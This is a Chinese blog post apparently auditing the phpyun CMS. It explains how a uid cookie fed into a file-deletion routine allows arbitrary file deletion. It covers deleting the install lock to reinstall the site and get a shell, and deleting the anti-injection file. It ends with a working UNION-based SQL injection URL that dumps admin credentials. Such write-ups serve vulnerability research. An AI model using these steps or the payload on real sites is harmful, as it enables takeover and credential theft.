51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

phpyun任意文件删除导致注入+getshell

##########################

by phithon

https://www.leavesongs.com

f4ck team & xdsec 请勿转载

##########################


本来只是发在法客内部的,不过今天看到官方已经修复了,于是也没什么好藏的了,就发出来。希望大家学到知识,也希望某大神放过我这写代码的,本来就苦逼,求不再社。

phpyun云人才系统 算一个中大型cms,谷歌能搜到不少结果。通过任意文件删除漏洞能够删除通用防注入文件,然后就能随意注入了。也能删除安装锁,重安装进行getshell。

011.jpg{#ematt:336}

0x01 挖掘前奏
  今天在乌云上看到的一个最新漏洞,phpyun任意文件删除漏洞。心里约莫一想,好像之前审计过这个cms,还算比较大型的一个cms,好像当时找到了一个任意文件删除,但是后来因为要考什么试就把这个忘了。那么现在我再来重新审计一番,也是给大家说说的审计的一些经验。
  首先纵览网站的源码,发现网站使用了通用防注入文件/data/db.safety.php,所以网站中所有参数都没有任何过滤。如果我们能想方法把通用防注入的文件删除掉的话网站就可以任我注了。
  因为网站源码很大,我不可能去按照开发者的思路去通读程序。于是我用了一个不知道算不算fuzz的方法,暴力搜索整站含有某些敏感字眼的代码。比如我这里用的是"seay源代码审计系统",其中包含了一个功能------自动审计。原理也就是整站匹配正则,匹配出一些可能含有漏洞的代码。

  自动审计完成后可以生成一个报告,我们就可以在报告中搜索"删除"这个关键字,可以看到搜索出了很多可能含有任意文件删除漏洞的程序:

001.jpg{#ematt:316}


有的同学问,那也有很多呀,95个难道一个一个去看?

所以这个时候就需要考验你的经验和运气了。我一般会看看这个文件所在的目录,如果文件在/admin目录下90%说明这个文件是后台某操作的文件,这种我就不会去看。就算存在漏洞也需要管理员权限,会很鸡肋。我会首先注意一些什么ajax、index之类的文件,再会去看*.class.php或*.func.php之类的文件。这个就看平时写代码写的多不多,经验丰不丰富了。


0x02 找到关键点

找着找着我打开了一个文件:\member\model\index.php,找到了如下函数:

          function info_action(){
                  if($_POST["submitBtn"]){
                          $_POST=$this->post_trim($_POST);
                          if($_POST["name"]==""){
                                  $this->obj->ACT_msg("index.php?C=info","姓名不能为空!");
                          }
                          if($_POST["city"]==""){
                                  $this->obj->ACT_msg("index.php?C=info","户籍所在地不能为空!");
                          }
                          if($this->config['user_idcard']=="1")
                          {
                                  if($_POST["idcard"]==""){
                                          $this->obj->ACT_msg("index.php?C=info","身份证号码不能为空!");
                                  }
                          }
                          if($_POST["cityid"]==""){
                                  $this->obj->ACT_msg("index.php?C=info","现居住地不能为空!");
                          }
                          if($_POST["address"]==""){
                                  $this->obj->ACT_msg("index.php?C=info","详细地址不能为空!");
                          }
                          unset($_POST["submitBtn"]);
                          $this->obj->delfiledir("../upload/tel/".$this->uid);
                          $where["uid"]=$this->uid;
                          $nid=$this->obj->update_once("resume",$_POST,$where);
                          $nid?$this->obj->ACT_msg("index.php?C=info","更新成功"):$this->obj->ACT_msg("index.php?C=info","更新失败");
                  }
                  $this->public_action();
                  $row=$this->obj->DB_select_once("resume","`uid`='".$this->uid."'");
                  $this->yunset("row",$row);
                  $this->city_cache();
                  $this->yunset("js_def",5);
                  $this->user_tpl('info');
          }

其中有一行$this->obj->delfiledir("../upload/tel/".$this->uid);,调用了delfiledir函数。我们找到这个函数看看:



          function delfiledir($delfiles){
                  if(is_file($delfiles)){
                          @unlink($delfiles);
                  }else{
                      $dh=@opendir($delfiles);
                      while($file=@readdir($dh)){
                          if($file!="."&&$file!=".."){
                              $fullpath=$delfiles."/".$file;
                              if(@is_dir($fullpath)){
                                  $this->delfiledir($fullpath);
                              }else{
                                  @unlink($fullpath);
                              }
                          }
                      }
                      @closedir($dh);
                      if(@rmdir($delfiles)){
                          return  true;
                      }else{
                          return false;
                      }
                  }
          }

如果参数$delfiles是文件就删除它,如果是目录就递归删除。

也就是说之前的$this->obj->delfiledir("../upload/tel/".$this->uid);是一个删除文件的操作。而这个参数中含有$this->uid,如果uid可控的话就能够进行任意文件删除的操作了。

于是我们看看这个uid是什么。

index_controller类的基类是common类,uid就是定义在common类中的。

打开/model/class/common.php:

class common
{
        public $tpl='';
        public $db='';
        public $obj='';
        public $config = '';
        public $uid="";
        public $data="";
        public $username="";
        function common($tpl,$db,$def="",$model="index",$M="")
        {
                global $config;
                $this->config = $config;
                $this->tpl=$tpl;
                $this->db=$db;
                $this->uid=$_COOKIE['uid'];
                $this->username=$_COOKIE['username'];
                $this->def=$def;
                $this->M=$M;
  ……

可以看到$uid=$_COOKIE['uid'],是可控的。我淫荡地笑了。


0x03 学会利用

于是,我们来利用。

首先注册一个账号,然后打开http://localhost/member/index.php?m=index&c=info

002.jpg{#ematt:318}


乱码什么的,不必在意这种细节。我们在信息里随便填写一些东西,点击save,然后用burpsuite抓一下包:

003.jpg{#ematt:320}

从返回的数据包里看不出什么......

004.jpg{#ematt:322}

乱码没办法......不过感觉不太对劲。。来到根目录下......

005.jpg{#ematt:324}

果然没删掉......

这是为什么,难道是我分析错了吗?可是代码不会骗人呀,一定是哪里没有注意到。

后来我想了一会,感觉应该是这样:uid是我们用户的id,它一定是一个数字。如果我们传入的是一个字符串,那么就有可能会出错导致并没有执行到删除的那一行代码,而且出错的部分很可能在数据库查询语句中。

那么怎么避免这个问题,难道就因为这个导致利用不了漏洞?我们可以简单地修改一下uid:

006.jpg{#ematt:326}

sql语句有这么一个特性,和C语言里的atoi函数类似,当需要转换参数是数字但传入的字符串不是纯数字时就会截取最前面是数字的位数进行转换,而不会出错。当然如果最前面的部分都不是数字,当然也没什么好转换的了,转换出来一定是0,而uid=0这个用户不存在,于是就会出错。

那么更改之后看看robots.txt还在不在......

007.jpg


0x04 删除任意文件能干嘛

1.可以删除安装锁/data/phpyun.lock,对网站进行再次安装,获得管理员权限。这是某演示站,删掉lock就可以重新安装了,安装的时候可以geyshell:

010.jpg{#ematt:334}

2.删除通用防注入文件,之后就可以随意注入了:

008.jpg{#ematt:330}

再注入就很方便了,随便给一个exp:

/friend/index.php?C=profile&id=-1'union%20select%201,2,3,concat(username,0x20,password),5%20from%20phpyun_admin_user%20--%20

009.jpg{#ematt:332}




赞(2)
未经允许不得转载:工具盒子 » phpyun任意文件删除导致注入+getshell